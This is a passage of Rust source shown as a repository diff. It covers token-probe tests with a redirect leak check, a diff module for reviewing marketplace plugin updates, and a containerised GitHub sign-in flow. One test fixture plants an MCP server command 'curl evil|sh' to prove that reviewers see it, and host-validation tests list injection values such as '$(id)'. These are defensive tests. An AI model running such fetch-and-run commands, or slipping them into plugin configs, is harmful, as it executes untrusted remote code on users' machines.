let app = Router::new().route(
"/api/v4/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "private-token", FAKE) {
Ok(Json(serde_json::json!({ "username": "gl-user" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let site = serve(app).await;
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
Some("gl-user".to_string())
);
}
#[tokio::test]
async fn unknown_host_is_left_unchecked() {
let site = serve(axum::Router::new()).await; // every path 404s
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
None
);
}
#[tokio::test]
async fn validate_token_refuses_bad_input_without_network() {
assert!(validate_token("-evil", FAKE).await.is_err());
assert!(validate_token("github.com", " ").await.is_err());
}
/// Fix-round-1 security finding: reqwest's default redirect policy
/// follows up to 10 hops and only strips Authorization/Cookie/
/// Proxy-Authorization/WWW-Authenticate on a cross-host hop — GitLab's
/// PRIVATE-TOKEN header is none of those, so an unfollowed-by-default
/// client is the only thing stopping a malicious/compromised "GitLab"
/// host from redirecting the probe (with the token still attached) to
/// an attacker-controlled target. Plain `std::net::TcpListener`s stand
/// in for the origin and the redirect target so the test can assert the
/// target is never even connected to, let alone handed the header.
#[tokio::test]
async fn redirect_is_never_followed_and_the_token_never_reaches_the_target() {
use std::io::{Read, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::time::Duration as StdDuration;
// The redirect target. If the client ever followed the redirect,
// this listener would receive the request — token header included.
let target = TcpListener::bind("127.0.0.1:0").unwrap();
let target_addr = target.local_addr().unwrap();
let (tx, rx) = mpsc::channel::<String>();
std::thread::spawn(move || {
target.set_nonblocking(false).ok();
if let Ok((mut stream, _)) = target.accept() {
let mut buf = [0u8; 4096];
let n = stream.read(&mut buf).unwrap_or(0);
let request = String::from_utf8_lossy(&buf[..n]).to_string();
let _ = stream.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
let _ = tx.send(request);
}
});
// The origin the probe actually asks, which answers with a 3xx
// pointing at the target above.
let origin = TcpListener::bind("127.0.0.1:0").unwrap();
let origin_addr = origin.local_addr().unwrap();
std::thread::spawn(move || {
if let Ok((mut stream, _)) = origin.accept() {
let mut buf = [0u8; 4096];
let _ = stream.read(&mut buf);
let body = format!(
"HTTP/1.1 302 Found\r\nLocation: http://{}/api/v4/user\r\nContent-Length: 0\r\n\r\n",
target_addr
);
let _ = stream.write_all(body.as_bytes());
}
});
let base = format!("http://{}", origin_addr);
let client = http_client().unwrap();
let outcome = who_am_i(&client, HostKind::GitLab, &base, FAKE).await;
// The redirect is reported as "not this kind of host", not an error
// and not a login — it must not be silently trusted either way.
assert_eq!(outcome.unwrap(), Probe::NotThisKind);
// And the target must never see a connection carrying the token —
// ideally no connection at all, since the client never follows.
// no connection at all is also the expected outcome
if let Ok(request) = rx.recv_timeout(StdDuration::from_millis(500)) {
assert!(
!request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"),
"the redirect target must never receive the token: {request}"
);
}
}
}
File diff suppressed because it is too large Load Diff
+288
View File
@@ -0,0 +1,288 @@
//! Text diff of one item between two commits, for the "Update" review.
use std::collections::BTreeMap;
use std::path::Path;
use similar::TextDiff;
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
use super::tree::GitTree;
use super::tree::TreeView;
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
/// The name a plugin's catalog entry is diffed under. It is shown apart from
/// the plugin folder's files, so a file of the same name cannot hide it.
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
/// exist (or is not installable) there — a removal upstream then reads as
/// every file removed rather than as an error.
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
item_files(tree, kind, key).unwrap_or_default()
}
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
/// reviewable file. It carries inline hooks, MCP servers and commands that
/// the install runs, so it is diffed like any file (PR review #3).
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
let entry = plugin_catalog_entry(tree, key).ok()?;
let mut text = serde_json::to_string_pretty(&entry).ok()?;
text.push('\n');
Some(ItemFile {
rel_path: PLUGIN_ENTRY_PATH.to_string(),
data: text.into_bytes(),
executable: false,
})
}
pub fn item_diff(
repo_path: &Path,
kind: ItemKind,
key: &str,
from_commit: &str,
to_commit: &str,
) -> Result<Vec<FileDiff>, String> {
let old = GitTree::open(repo_path, from_commit)?;
let new = GitTree::open(repo_path, to_commit)?;
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
if kind != ItemKind::Plugin {
return Ok(diff_files(&old_files, &new_files));
}
Ok(plugin_diff(
&old_files,
plugin_entry_file(&old, key).as_ref(),
&new_files,
plugin_entry_file(&new, key).as_ref(),
))
}
/// The catalog entry's diff first, then the folder's files.
pub(crate) fn plugin_diff(
old_files: &[ItemFile],
old_entry: Option<&ItemFile>,
new_files: &[ItemFile],
new_entry: Option<&ItemFile>,
) -> Vec<FileDiff> {
let mut out = diff_files(
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
);
out.extend(diff_files(old_files, new_files));
out
}
fn as_text(data: &[u8]) -> Option<&str> {
if data.contains(&0) {
return None;
}
std::str::from_utf8(data).ok()
}
fn unified(path: &str, old: &str, new: &str) -> String {
TextDiff::from_lines(old, new)
.unified_diff()
.context_radius(3)
.header(&format!("a/{path}"), &format!("b/{path}"))
.to_string()
}
/// Per-file diff, sorted by path; files identical in content and mode are left out.
pub(crate) fn diff_files(old: &[ItemFile], new: &[ItemFile]) -> Vec<FileDiff> {
let old: BTreeMap<&str, &ItemFile> = old.iter().map(|f| (f.rel_path.as_str(), f)).collect();
let new: BTreeMap<&str, &ItemFile> = new.iter().map(|f| (f.rel_path.as_str(), f)).collect();
let mut paths: Vec<&str> = old.keys().chain(new.keys()).copied().collect();
paths.sort_unstable();
paths.dedup();
let mut out = Vec::new();
for path in paths {
match (old.get(path), new.get(path)) {
(Some(o), Some(n)) => {
if o.data == n.data && o.executable == n.executable {
continue;
}
let text = match (as_text(&o.data), as_text(&n.data)) {
(Some(a), Some(b)) => {
let mut s = String::new();
if o.executable != n.executable {
s.push_str(&format!(
"# executable: {} -> {}\n",
o.executable, n.executable
));
}
s.push_str(&unified(path, a, b));
Some(s)
}
_ => None,
};
out.push(FileDiff {
path: path.to_string(),
change: FileChange::Modified,
unified: text,
});
}
(Some(o), None) => out.push(FileDiff {
path: path.to_string(),
change: FileChange::Removed,
unified: as_text(&o.data).map(|a| unified(path, a, "")),
}),
(None, Some(n)) => out.push(FileDiff {
path: path.to_string(),
change: FileChange::Added,
unified: as_text(&n.data).map(|b| unified(path, "", b)),
}),
(None, None) => {}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
use crate::marketplace::git;
use crate::marketplace::test_support::GitFixture;
fn f(path: &str, text: &str, executable: bool) -> ItemFile {
ItemFile {
rel_path: path.to_string(),
data: text.as_bytes().to_vec(),
executable,
}
}
#[test]
fn unchanged_files_are_omitted_and_changes_are_classified() {
let old = vec![
f("a.md", "one\n", false),
f("gone.sh", "x\n", true),
f("same", "s\n", false),
];
let new = vec![
f("a.md", "two\n", false),
f("new.txt", "n\n", false),
f("same", "s\n", false),
];
let diffs = diff_files(&old, &new);
let summary: Vec<(&str, FileChange)> = diffs
.iter()
.map(|d| (d.path.as_str(), d.change.clone()))
.collect();
assert_eq!(
summary,
vec![
("a.md", FileChange::Modified),
("gone.sh", FileChange::Removed),
("new.txt", FileChange::Added),
]
);
let a = diffs[0].unified.as_deref().unwrap();
assert!(a.contains("-one") && a.contains("+two"), "{a}");
}
#[test]
fn binary_files_have_no_text_diff() {
let old = vec![ItemFile {
rel_path: "b.bin".into(),
data: vec![0, 1, 2],
executable: false,
}];
let new = vec![ItemFile {
rel_path: "b.bin".into(),
data: vec![0, 1, 3],
executable: false,
}];
let diffs = diff_files(&old, &new);
assert_eq!(diffs.len(), 1);
assert_eq!(diffs[0].unified, None);
}
#[test]
fn an_executable_bit_change_is_reported() {
let old = vec![f("run.sh", "echo\n", false)];
let new = vec![f("run.sh", "echo\n", true)];
let diffs = diff_files(&old, &new);
assert_eq!(diffs.len(), 1);
assert!(diffs[0]
.unified
.as_deref()
.unwrap()
.contains("executable: false -> true"));
}
/// PR review #3: a plugin's catalog entry is part of what it installs
/// (inline hooks, MCP servers, commands), so a change to it alone must
/// show up in the diff rather than as "no file changes".
#[test]
fn a_plugins_catalog_entry_change_is_in_its_diff() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
);
let c2 = fx.commit("entry gains an MCP server");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1, "{diffs:?}");
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
assert_eq!(diffs[0].change, FileChange::Modified);
let text = diffs[0].unified.as_deref().unwrap();
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
assert!(text.contains("curl evil|sh"), "{text}");
// The folder's own files are still diffed next to it.
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
let c3 = fx.commit("skill");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
.unwrap()
.into_iter()
.map(|d| d.path)
.collect();
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
}
#[test]
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
let entry = |v: &str| ItemFile {
rel_path: PLUGIN_ENTRY_PATH.into(),
data: v.as_bytes().to_vec(),
executable: false,
};
let out = plugin_diff(
&[entry("same\n")],
Some(&entry("old\n")),
&[entry("same\n")],
Some(&entry("new\n")),
);
assert_eq!(out.len(), 1);
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
}
#[test]
fn item_diff_reads_both_commits_from_the_cache() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"hooks/notify-on-stop/notify.sh",
"#!/bin/sh\ncurl https://example.invalid\n",
);
let c2 = fx.commit("change hook");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Hook, "notify-on-stop", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1);
assert_eq!(diffs[0].path, "notify.sh");
assert!(diffs[0]
.unified
.as_deref()
.unwrap()
.contains("+curl https://example.invalid"));
}
}
+850
View File
@@ -0,0 +1,850 @@
//! GitHub sign-in through `gh auth login --web` inside a running container, for
//! hosts that have no `gh` of their own. The token is read back through the
//! exec, returned to the caller for the keychain, and never emitted, logged or
//! left behind in the container.
use std::time::Duration;
use bollard::container::LogOutput;
use futures_util::{Stream, StreamExt};
use tauri::{AppHandle, Emitter};
use tokio::io::{AsyncWrite, AsyncWriteExt};
use tokio::sync::oneshot;
use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY};
use crate::docker::exec::{
create_attached_exec_as, exec_oneshot_as, wait_for_exec_exit, AttachedExec,
};
pub const CODE_EVENT: &str = "marketplace-gh-login-code";
pub const OUTPUT_EVENT: &str = "marketplace-gh-login-output";
const LOGIN_TIMEOUT: Duration = Duration::from_secs(10 * 60);
const TOKEN_BEGIN: &str = "__TRIPLEC_TOKEN_BEGIN__";
const TOKEN_END: &str = "__TRIPLEC_TOKEN_END__";
/// Common prefix of both markers: any line containing it is never shown.
const TOKEN_MARKER: &str = "__TRIPLEC_TOKEN";
const MAX_TRANSCRIPT: usize = 64 * 1024;
const MAX_PENDING_LINE: usize = 4096;
/// Pre-flight N9: on cancel or timeout the attach is dropped, but `gh auth
/// login` would keep polling in the container. This matches both it and the
/// script around it (whose text contains the same words); errors are ignored.
const CANCEL_PKILL: [&str; 3] = ["pkill", "-f", "gh auth login --hostname"];
/// Constant script; the host is `$1` (argv, never interpolated), because
/// `create_attached_exec_as` takes no env.
///
/// * `GH_CONFIG_DIR` / `GIT_CONFIG_GLOBAL` live in a temp dir removed on exit,
/// so the container is never left logged in. The `HUP INT TERM` trap turns a
/// signal (the pty closing, or the cancel `pkill`) into a normal exit so the
/// `EXIT` trap still runs — `sh` skips it when killed outright.
/// * `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with
/// your GitHub credentials?" prompt, which `https` triggers and which would
/// write a credential helper into the git config.
/// * `BROWSER=true` makes gh's "open the browser" step a no-op.
const GH_LOGIN_SCRIPT: &str = r#"set -eu
host="$1"
case "$host" in
'' | -* | *[!A-Za-z0-9.-]*) echo "invalid host" >&2; exit 2 ;;
esac
export HOME=/home/claude
d=$(mktemp -d)
trap 'rm -rf "$d"' EXIT
trap 'exit 130' HUP INT TERM
export GH_CONFIG_DIR="$d" GIT_CONFIG_GLOBAL="$d/gitconfig" BROWSER=true
gh auth login --hostname "$host" --web --git-protocol ssh --skip-ssh-key --scopes repo
t=$(gh auth token --hostname "$host")
printf '\n%s%s%s\n' __TRIPLEC_TOKEN_BEGIN__ "$t" __TRIPLEC_TOKEN_END__
"#;
/// Pre-flight F13: the shared host rule, minus ports — `gh auth login
/// --hostname` takes a bare name.
pub fn valid_host(host: &str) -> bool {
crate::marketplace::auth::valid_host(host) && !host.contains(':')
}
/// Remove terminal control sequences and carriage returns from one complete
/// piece of text. An unterminated sequence at the end is dropped. The login
/// itself uses a streaming [`AnsiStripper`], which carries a sequence split
/// across chunks instead; this one-shot form exists for tests only.
#[cfg(test)]
fn strip_ansi(s: &str) -> String {
AnsiStripper::default().push(s.as_bytes())
}
/// Read gh's device code and URL. Returns (code, url).
///
/// Two wordings are known:
/// * older gh: `! First copy your one-time code: XXXX-XXXX`, then either a
/// URL or "Press Enter to open <host> in your browser";
/// * gh 2.101 (the image's): `! One-time code (XXXX-XXXX) copied to
/// clipboard`, then "Press Enter to open https://<host>/login/device in your
/// browser...".
///
/// The URL is the first `https://…/login/device` word, else
/// `https://<host>/login/device`.
pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> {
const LABEL: &str = "one-time code";
// ASCII lowercasing keeps byte offsets, so `at` indexes `output` too.
let at = output.to_ascii_lowercase().find(LABEL)? + LABEL.len();
let rest = output[at..].trim_start_matches(|c: char| c == ':' || c == '(' || c.is_whitespace());
let code: String = rest
.chars()
.take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
.collect();
// Something must follow the code (`)` or a line break): a code at the
// very end may still be growing in the next frame.
if code.len() < 6 || !code.contains('-') || rest.len() == code.len() {
return None;
}
let url = output
.split_whitespace()
.find(|w| w.starts_with("https://") && w.contains("/login/device"))
.map(|w| {
w.trim_end_matches(|c: char| !c.is_ascii_alphanumeric() && c != '/')
.to_string()
})
.unwrap_or_else(|| format!("https://{host}/login/device"));
Some((code, url))
}
pub fn extract_token(text: &str) -> Option<String> {
let start = text.find(TOKEN_BEGIN)? + TOKEN_BEGIN.len();
let end = start + text[start..].find(TOKEN_END)?;
let token = text[start..end].trim();
if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) {
return None;
}
Some(token.to_string())
}
/// Append `chunk` and hand back the complete lines, minus any line carrying the
/// token markers. A partial line waits in `pending` (so a marker split across
/// chunks is never shown), and is dropped if it grows past a bound.
pub fn take_display_lines(pending: &mut String, chunk: &str) -> String {
pending.push_str(chunk);
let Some(last_nl) = pending.rfind('\n') else {
if pending.len() > MAX_PENDING_LINE {
pending.clear();
}
return String::new();
};
let complete: String = pending.drain(..=last_nl).collect();
complete
.lines()
.filter(|l| !l.contains(TOKEN_MARKER))
.map(|l| format!("{l}\n"))
.collect()
}
/// What to show when the login ends without a token: the last few lines, with
/// any marker line removed.
fn failure_tail(transcript: &str) -> String {
let lines: Vec<&str> = transcript
.lines()
.filter(|l| !l.contains(TOKEN_MARKER) && !l.trim().is_empty())
.collect();
lines[lines.len().saturating_sub(5)..].join("\n")
}
/// Pre-flight N9 / review fix 1: stop the in-container login after any
/// failed attempt.
async fn kill_container_login(container_id: &str) {
let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect();
let _ = exec_oneshot_as(container_id, "claude", cmd, vec![]).await;
}
/// Hand `result` back, running `cleanup` first when it is a failure.
///
/// Review fix 1: a tty exec keeps running after its attach is dropped, so any
/// login that ends without a token — cancel, timeout, a lost stream, a failed
/// write, gh exiting without one — must stop the in-container login, or gh
/// keeps polling and its temp `GH_CONFIG_DIR` (which receives the token if the
/// user finishes in the browser) outlives the attempt.
async fn cleanup_on_error<T, C, Fut>(result: Result<T, String>, cleanup: C) -> Result<T, String>
where
C: FnOnce() -> Fut,
Fut: std::future::Future<Output = ()>,
{
if result.is_err() {
cleanup().await;
}
result
}
/// Pump gh's output until the exec ends, emitting code and display events and
/// pressing Enter at gh's prompt. `Ok` is the transcript of a stream that ended
/// normally; every other ending is `Err`. Takes the attach halves by value, so
/// they are closed by the time this returns.
async fn drive_login<S, W, E>(
mut output: S,
mut input: W,
cancel: &mut oneshot::Receiver<()>,
deadline: tokio::time::Instant,
account_id: &str,
host: &str,
mut emit: E,
) -> Result<String, String>
where
S: Stream<Item = Result<LogOutput, bollard::errors::Error>> + Unpin,
W: AsyncWrite + Unpin,
E: FnMut(&'static str, serde_json::Value),
{
let mut stripper = AnsiStripper::default();
let mut transcript = String::new();
let mut pending = String::new();
let mut code_sent = false;
let mut enter_sent = false;
loop {
let next = tokio::select! {
_ = &mut *cancel => {
return Err("GitHub sign-in cancelled. Nothing was stored.".to_string());
}
next = tokio::time::timeout_at(deadline, output.next()) => match next {
Ok(next) => next,
Err(_) => {
return Err(format!(
"Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.",
LOGIN_TIMEOUT.as_secs() / 60
));
}
},
};
let frame = match next {
Some(Ok(frame)) => frame,
Some(Err(e)) => {
return Err(format!(
"Lost the connection to gh: {e}. Nothing was stored."
))
}
None => return Ok(transcript),
};
let text = stripper.push(&frame.into_bytes());
push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT);
let shown = take_display_lines(&mut pending, &text);
if !shown.is_empty() {
emit(
OUTPUT_EVENT,
serde_json::json!({ "account_id": account_id, "chunk": shown }),
);
}
if !code_sent {
if let Some((code, url)) = parse_device_prompt(&transcript, host) {
emit(
CODE_EVENT,
serde_json::json!({ "account_id": account_id, "code": code, "url": url }),
);
code_sent = true;
}
}
if code_sent && !enter_sent && transcript.contains("Press Enter") {
// The Enter is its own write, after a pause (PR #64): arriving with
// other bytes it can be read as part of a paste and swallowed.
tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
input
.write_all(b"\r")
.await
.map_err(|e| format!("Could not answer gh's prompt: {e}. Nothing was stored."))?;
let _ = input.flush().await;
enter_sent = true;
}
}
}
/// Run `gh auth login --web` in the container and return the token it minted.
///
/// Once the exec exists there is exactly one way out: the result of the inner
/// block goes through [`cleanup_on_error`], so only a token read back skips
/// the in-container kill.
pub async fn run_gh_container_login(
app: &AppHandle,
account_id: &str,
container_id: &str,
host: &str,
mut cancel: oneshot::Receiver<()>,
) -> Result<String, String> {
if !valid_host(host) {
return Err(format!("{host:?} is not a valid host name."));
}
let AttachedExec {
exec_id,
output,
input,
} = create_attached_exec_as(
container_id,
vec![
"sh".to_string(),
"-c".to_string(),
GH_LOGIN_SCRIPT.to_string(),
"triple-c-gh-login".to_string(),
host.to_string(),
],
true,
"claude",
"/home/claude",
)
.await?;
let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT;
let result = async {
let transcript = drive_login(
output,
input,
&mut cancel,
deadline,
account_id,
host,
|event, payload| {
let _ = app.emit(event, payload);
},
)
.await?;
if let Some(token) = extract_token(&transcript) {
return Ok(token);
}
let status = wait_for_exec_exit(&exec_id).await;
Err(format!(
"gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}",
status
.map(|c| c.to_string())
.unwrap_or_else(|| "unknown".to_string()),
failure_tail(&transcript)
))
}
.await;
cleanup_on_error(result, || kill_container_login(container_id)).await
}
#[cfg(test)]
mod tests {
use super::*;
const GH_PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\nPress Enter to open github.com in your browser... ";
#[test]
fn the_device_code_is_read_and_the_url_defaults_to_the_host() {
assert_eq!(
parse_device_prompt(GH_PROMPT, "github.com"),
Some((
"4F2A-9C1B".to_string(),
"https://github.com/login/device".to_string()
))
);
}
#[test]
fn an_explicit_device_url_wins() {
let out = "! First copy your one-time code: AB12-CD34\nOpen this URL to continue in your web browser: https://ghe.example.com/login/device\n";
assert_eq!(
parse_device_prompt(out, "ghe.example.com"),
Some((
"AB12-CD34".to_string(),
"https://ghe.example.com/login/device".to_string()
))
);
}
/// gh 2.101.0 (the image's gh, integration report check 6), after ANSI
/// stripping: the code is in parentheses and the URL is on the Enter line.
const GH_2_101_PROMPT: &str = "! One-time code (4F2A-9C1B) copied to clipboard\nPress Enter to open https://github.com/login/device in your browser... ";
#[test]
fn the_gh_2_101_wording_is_read() {
assert_eq!(
parse_device_prompt(GH_2_101_PROMPT, "github.com"),
Some((
"4F2A-9C1B".to_string(),
"https://github.com/login/device".to_string()
))
);
}
#[test]
fn the_url_comes_from_the_press_enter_line() {
let out = "! One-time code (AB12-CD34) copied to clipboard\nPress Enter to open https://ghe.example.com/login/device in your browser... ";
assert_eq!(
parse_device_prompt(out, "github.com"),
Some((
"AB12-CD34".to_string(),
"https://ghe.example.com/login/device".to_string()
))
);
}
#[test]
fn the_gh_2_101_wording_without_a_code_is_no_prompt() {
assert_eq!(parse_device_prompt("! One-time code (", "github.com"), None);
assert_eq!(
parse_device_prompt("! One-time code (4F2A", "github.com"),
None
);
}
#[test]
fn a_code_cut_by_a_frame_boundary_is_not_a_code_yet() {
assert_eq!(
parse_device_prompt("! One-time code (4F2A-9C", "github.com"),
None
);
assert_eq!(
parse_device_prompt("! First copy your one-time code: 4F2A-9C", "github.com"),
None
);
}
#[test]
fn no_code_yet_means_no_prompt() {
assert_eq!(
parse_device_prompt("! First copy your one-time", "github.com"),
None
);
assert_eq!(parse_device_prompt("", "github.com"), None);
}
#[test]
fn the_token_is_taken_from_between_the_markers() {
let out = "✓ Logged in\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n";
assert_eq!(extract_token(out), Some("test-token-not-real".to_string()));
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN__test-token-not-real"),
None,
"unterminated"
);
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN____TRIPLEC_TOKEN_END__"),
None,
"empty"
);
assert_eq!(
extract_token("__TRIPLEC_TOKEN_BEGIN__a b__TRIPLEC_TOKEN_END__"),
None,
"whitespace"
);
}
#[test]
fn only_complete_lines_are_shown_and_the_token_line_never_is() {
let mut pending = String::new();
assert_eq!(
take_display_lines(&mut pending, "! First copy your one-"),
""
);
assert_eq!(
take_display_lines(&mut pending, "time code: 4F2A-9C1B\nPress"),
"! First copy your one-time code: 4F2A-9C1B\n"
);
assert_eq!(pending, "Press");
let shown = take_display_lines(
&mut pending,
" Enter\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\ndone\n",
);
assert_eq!(shown, "Press Enter\ndone\n");
assert!(!shown.contains("test-token-not-real"));
}
#[test]
fn escape_sequences_and_carriage_returns_are_removed() {
assert_eq!(strip_ansi("\u{1b}[1;32m✓\u{1b}[0m done\r\n"), "✓ done\n");
assert_eq!(
strip_ansi("a\u{1b}]8;;https://x\u{7}link\u{1b}]8;;\u{7}b"),
"alinkb"
);
assert_eq!(strip_ansi("cut\u{1b}["), "cut");
}
#[test]
fn hosts_are_plain_names() {
assert!(valid_host("github.com"));
assert!(valid_host("ghe.corp-1.example"));
for bad in ["", "-x", "a b", "a;b", "a/b", "$(id)"] {
assert!(!valid_host(bad), "{bad:?}");
}
}
/// Pre-flight F13: the shared `auth::valid_host` accepts `host:port`, but
/// `gh auth login --hostname` takes a bare name, so a port is refused here.
#[test]
fn hosts_with_a_port_are_refused() {
assert!(crate::marketplace::auth::valid_host("ghe.corp:8443"));
assert!(!valid_host("ghe.corp:8443"));
assert!(!valid_host("ghe.corp:"));
}
#[test]
fn the_failure_tail_never_carries_the_token() {
let transcript = "! First copy your one-time code: 4F2A-9C1B\n\
__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n\
error: something odd\n";
let tail = failure_tail(transcript);
assert!(!tail.contains("test-token-not-real"));
assert!(tail.contains("error: something odd"));
}
/// Pre-flight N9: the cancel/timeout `pkill -f` pattern has to match the
/// `gh` command line the script runs.
#[test]
fn the_cancel_pattern_matches_the_script() {
assert_eq!(CANCEL_PKILL[0], "pkill");
assert_eq!(CANCEL_PKILL[1], "-f");
assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2]));
}
/// Review fix 1: every failed login tears the container side down, and a
/// successful one does not.
mod teardown {
use super::super::*;
use bollard::container::LogOutput;
use futures_util::stream;
use std::pin::Pin;
use std::sync::{Arc, Mutex};
use std::task::{Context, Poll};
type Frame = Result<LogOutput, bollard::errors::Error>;
fn out(s: &'static str) -> Frame {
Ok(LogOutput::StdOut { message: s.into() })
}
fn lost() -> Frame {
Err(bollard::errors::Error::DockerResponseServerError {
status_code: 500,
message: "connection reset".to_string(),
})
}
/// Records every write separately; or fails every write.
#[derive(Clone, Default)]
struct Keys {
writes: Arc<Mutex<Vec<Vec<u8>>>>,
broken: bool,
}
impl tokio::io::AsyncWrite for Keys {
fn poll_write(
self: Pin<&mut Self>,
_: &mut Context<'_>,
buf: &[u8],
) -> Poll<std::io::Result<usize>> {
if self.broken {
return Poll::Ready(Err(std::io::Error::other("pipe closed")));
}
self.writes.lock().unwrap().push(buf.to_vec());
Poll::Ready(Ok(buf.len()))
}
fn poll_flush(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll<std::io::Result<()>> {
Poll::Ready(Ok(()))
}
fn poll_shutdown(
self: Pin<&mut Self>,
_: &mut Context<'_>,
) -> Poll<std::io::Result<()>> {
Poll::Ready(Ok(()))
}
}
const PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\r\nPress Enter to open github.com in your browser... ";
async fn drive<S>(
frames: S,
keys: Keys,
cancel: &mut oneshot::Receiver<()>,
deadline: tokio::time::Instant,
) -> (
Result<String, String>,
Vec<(&'static str, serde_json::Value)>,
)
where
S: futures_util::Stream<Item = Frame> + Unpin,
{
let mut events = Vec::new();
let r = drive_login(
frames,
keys,
cancel,
deadline,
"acct-1",
"github.com",
|e, p| events.push((e, p)),
)
.await;
(r, events)
}
fn far() -> tokio::time::Instant {
tokio::time::Instant::now() + LOGIN_TIMEOUT
}
#[tokio::test]
async fn cleanup_runs_on_every_failure_and_never_on_success() {
let runs = Arc::new(Mutex::new(0));
let count = || {
let runs = runs.clone();
async move { *runs.lock().unwrap() += 1 }
};
let ok: Result<String, String> = Ok("test-token-not-real".into());
assert!(cleanup_on_error(ok, count).await.is_ok());
assert_eq!(*runs.lock().unwrap(), 0);
let err: Result<String, String> = Err("boom".into());
assert_eq!(cleanup_on_error(err, count).await, Err("boom".into()));
assert_eq!(*runs.lock().unwrap(), 1);
}
#[tokio::test(start_paused = true)]
async fn a_complete_login_returns_the_transcript_and_presses_enter_alone() {
let keys = Keys::default();
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![
out(PROMPT),
out("\r\n\u{2713} Logged in\r\n"),
out("__TRIPLEC_TOKEN_BEGIN__test-token-"),
out("not-real__TRIPLEC_TOKEN_END__\r\n"),
]);
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
let transcript = r.unwrap();
assert_eq!(
extract_token(&transcript),
Some("test-token-not-real".into())
);
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
assert!(events.contains(&(
CODE_EVENT,
serde_json::json!({
"account_id": "acct-1",
"code": "4F2A-9C1B",
"url": "https://github.com/login/device"
})
)));
for (_, payload) in &events {
assert!(!payload.to_string().contains("test-token-not-real"));
}
}
/// The raw bytes gh 2.101.0 prints under a tty (integration report
/// check 6), with a fake code: the code event goes out and Enter is
/// pressed, or gh never starts polling.
#[tokio::test(start_paused = true)]
async fn gh_2_101_gets_its_code_event_and_its_enter() {
let keys = Keys::default();
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![
out("\u{1b}]11;?\u{1b}\\\u{1b}[6n"),
out("\r\n"),
out("\u{1b}]52;c;NEYyQS05QzFC\u{7}\u{1b}[0;33m!\u{1b}[0m One-time code (\u{1b}[0;1;39m4F2A-9C1B\u{1b}[0m) copied to clipboard\r\n\u{1b}[0;1;39mPress Enter\u{1b}[0m to open https://github.com/login/device in your browser... "),
]);
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
assert!(r.is_ok());
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
assert!(events.contains(&(
CODE_EVENT,
serde_json::json!({
"account_id": "acct-1",
"code": "4F2A-9C1B",
"url": "https://github.com/login/device"
})
)));
}
#[tokio::test]
async fn a_lost_stream_is_a_failure() {
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![out(PROMPT), lost()]);
